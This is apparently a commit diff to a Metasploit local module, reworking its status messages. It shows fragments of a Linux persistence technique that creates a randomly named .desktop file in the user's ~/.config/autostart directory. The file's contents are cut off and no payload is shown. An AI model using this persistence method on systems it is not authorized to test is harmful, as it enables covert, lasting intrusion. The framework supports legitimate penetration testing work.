Rework status printing
This commit is contained in:
committed by
Tim W
parent
fc234b09c2
commit
eb43e4c0bd
@@ -39,18 +39,15 @@ class MetasploitModule < Msf::Exploit::Local
|
||||
|
||||
def exploit
|
||||
name = datastore['NAME'] ? datastore['NAME'] : Rex::Text.rand_text_alpha(5)
|
||||
vprint_status ("Name is #{name}")
|
||||
|
||||
home = cmd_exec('echo ~')
|
||||
|
||||
path = "#{home}/.config/autostart/#{name}.desktop"
|
||||
print_status("Creating #{path}")
|
||||
|
||||
print_status('Making sure the autostart directory exists')
|
||||
cmd_exec("mkdir -p #{home}/.config/autostart") # in case no autostart exists
|
||||
|
||||
print_status('Uploading autostart file')
|
||||
cmd_exec("rm #{path}")
|
||||
print_status("Uploading autostart file #{path}")
|
||||
|
||||
write_file(path, [
|
||||
"[Desktop Entry]",
|
||||
|
||||
Reference in New Issue
Block a user